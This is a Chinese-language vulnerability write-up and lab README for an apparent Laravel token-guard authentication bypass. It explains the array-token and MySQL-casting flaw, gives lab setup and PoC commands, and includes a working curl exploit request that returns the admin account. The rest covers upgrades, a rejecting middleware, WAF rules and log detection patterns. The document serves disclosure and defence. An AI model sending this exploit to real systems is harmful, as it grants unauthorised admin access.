
仅供教育及经授权的安全测试使用
本仓库是个人安全研究学习的一部分。所有代码、 文档和工具均严格出于教育目的、 防御性安全研究以及在授权范围内的 渗透测试而提供。请勿将本材料中的任何内容用于你并不拥有 或未获得明确书面授权进行测试的系统。 未经授权访问 计算机系统在美国《CFAA》、英国《计算机滥用法》 以及全球同等法律下均属违法。作者对任何滥用行为不承担任何责任。
Laravel 旧版 token
守卫驱动中存在一个严重的身份验证绕过漏洞(CVSS 9.2)。
未经身份验证的攻击者只需一个 HTTP 请求、无需任何
有效凭据、也无需暴力破解,即可访问任何受
令牌守卫保护的 API 端点。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-114509 |
| 安全公告 | GHSA-f9x3-7vq9-cph6 |
| CVSS | 9.2(v4.0,严重) |
| CWE | CWE-287(身份验证不当)、CWE-1287 |
| 发布日期 | 2026-10-19 |
| 修复提交 | 9b21ce0 |
| 修复版本 | 11.56.1、12.68.0、13.29.0 |
| 受影响版本 | 所有带 TokenGuard 的 Laravel 版本(5.0–13.x 补丁前版本) |
该攻击串联了三种各自单独来看都无害的行为:
Laravel 的 $request->input() 接受任意 JSON 类型。发送
{"api_token": [0]} 会传入一个 PHP 数组 [0],而不是字符串。
TokenGuard::user() 在传递给 Eloquent 之前检查 ! empty($token)。
非空数组可通过此检查——! empty([0]) 为 true。
// VULNERABLE (all versions before the fix)
if (! empty($token)) { // [0] passes this
$user = $this->provider->retrieveByCredentials([
'api_token' => $token, // array [0] reaches Eloquent
]);
}
// FIXED (11.56.1 / 12.68.0 / 13.29.0)
if (is_string($token) && ! empty($token)) { // [0] rejected here
EloquentUserProvider 看到一个数组值并构建 WHERE api_token IN (0)。
随后 MySQL 会将每个 VARCHAR 令牌转换为整数以进行比较。任何以字母(a-z、A-Z)开头的令牌都会转换为 0:
SELECT CAST('admin_secret_token_abc123' AS SIGNED); -- Returns: 0
SELECT * FROM users WHERE api_token IN (0); -- Matches ALL such tokens
返回第一个匹配的用户——通常是管理员(创建的第一个用户)。
Attacker Laravel + MySQL
│ │
│ POST /api/me │
│ {"api_token": [0]} │
│ ──────────────────────────────────►│
│ │ getTokenForRequest() → [0]
│ │ ! empty([0]) → true ✓
│ │ retrieveByCredentials(['api_token' => [0]])
│ │ → WHERE api_token IN (0)
│ │ → MySQL casts 'admin_tok...' to 0
│ │ → MATCH → returns Admin user
│ 200 OK │
│ {"id":1,"name":"Admin",...} │
│ ◄──────────────────────────────────│
WHERE api_token IN (0) 会抛出
ERROR: operator does not exist: character varying = integer| Laravel | 骨架中是否包含 Token guard? | Hash | 补丁 |
|---|---|---|---|
| 5.0–5.8 | 是 — 默认随附 'driver' => 'token' | 否 | EOL |
| 6.x | 是 | 'hash' => false | EOL |
| 7.x | 是 — 最后一个默认包含 token guard 的版本 | 'hash' => false | EOL |
| 8.x | 否 — 已从骨架中移除,Sanctum 成为默认 | 不适用 | EOL |
| 9.x | 否 — 必须手动添加 | 不适用 | EOL |
| 10.x | 否 — 必须手动添加 | 不适用 | EOL |
| 11.x | 否 — 必须手动添加 | 不适用 | v11.56.1 |
| 12.x | 否 — 必须手动添加 | 不适用 | v12.68.0 |
| 13.x | 否 — 必须手动添加 | 不适用 | v13.29.0 |
config/auth.php 不会被
composer update 覆盖,因此旧的 token guard 配置会静默保留Authorization: Bearer 请求头读取
(始终为字符串),使用 SHA-256 进行哈希(对数组会抛出 TypeError),
使用独立的 personal_access_tokens 表hash => true 的 token guard — hash('sha256', [0])
会抛出 TypeError(但 PHP 7 会静默返回,因此仍然存在漏洞)| 约束 | 详情 |
|---|---|
| 数据库 | 仅限 MySQL 或 MariaDB — PostgreSQL/SQLite 不受影响 |
| Guard 驱动 | 仅限 token — Sanctum/Passport 不受影响 |
| 传递方式 | JSON 请求体(POST/PUT/PATCH)— 查询字符串发送的是字符串 "0" 而非整数 0 |
| 用户选择 | 攻击者只能获得第一个匹配的用户,无法选择具体哪一个 |
hash => true | 在 PHP 8+ 上可缓解(TypeError),在 PHP 7 上不可 |
| 检测 | api_token 字段中的数组值属于异常,可在日志中检测到 |
laravel-tokenguard-bypass/
├── README.md ← This file
├── CVE-2026-114509_poc.py ← PoC script
└── lab/
├── docker-compose.yml ← MySQL 8.0 container
└── app/ ← Laravel 12.67.0 (vulnerable)
├── config/auth.php ← Token guard configured
├── routes/api.php ← Protected API endpoints
├── database/seeders/ ← 4 test users with tokens
└── database/migrations/ ← api_token column added
# 1. Start MySQL
cd lab
docker compose up -d
# Wait for healthcheck (~15s)
# 2. Setup Laravel
cd app
composer install
php artisan migrate:fresh --seed
# 3. Start the dev server
php -S 127.0.0.1:8080 -t public public/index.php &
# 4. Verify
curl -s http://127.0.0.1:8080/api/health
# → {"status":"ok"}
| 用户 | Token 开头 | MySQL CAST | 是否被 [0] 匹配? |
|---|---|---|---|
| Admin(角色:admin) | a(字母) | 0 | 是 |
| Alice(角色:user) | a(字母) | 0 | 是 |
| Bob(角色:user) | b(字母) | 0 | 是 |
| Charlie(角色:user) | 9(数字) | 9 | 否 |
Charlie 的 token 以 9 开头,因此 MySQL 会将其转换为 9,而不是 0。
这表明 [0] 仅匹配以字母开头的 token,而
[9] 则会专门匹配 Charlie。
# Run the PoC script
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080 --path /api/admin/users
# Verify auth is required
curl -s http://target/api/me -H "Accept: application/json"
# → {"message":"Unauthenticated."} (401)
# Exploit
curl -s http://target/api/me \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-X POST -d '{"api_token": [0]}'
# → {"id":1,"name":"Admin","email":"[email protected]","role":"admin"}
composer require laravel/framework:^12.68.0
# or ^13.29.0 or ^11.56.1
添加中间件以拒绝非字符串令牌:
// app/Http/Middleware/RejectArrayTokens.php
public function handle($request, Closure $next)
{
$token = $request->input('api_token');
if ($token !== null && !is_string($token)) {
abort(400, 'Invalid token format');
}
return $next($request);
}
composer require laravel/sanctum
php artisan vendor:publish --provider="Laravel\Sanctum\SanctumServiceProvider"
阻止 api_token 为数组的请求:
api_token[]= 或 api_token[0]="api_token":\s*\[SecRule ARGS:api_token "@rx ^\[" "deny,status:400"# 1. Is the token guard configured?
grep -n "'driver' => 'token'" config/auth.php
# 2. What framework version?
composer show laravel/framework | grep versions
# 3. What database?
grep DB_CONNECTION .env
# 4. Run composer audit
composer audit
# Query string patterns (in access logs):
api_token[]=0
api_token[0]=0
# JSON body patterns (in application logs):
"api_token":[0]
"api_token":[false]
api_token 中的数组值永远不可能是合法的——真实客户端始终
发送字符串令牌。任何出现都是漏洞利用
或扫描的强烈迹象。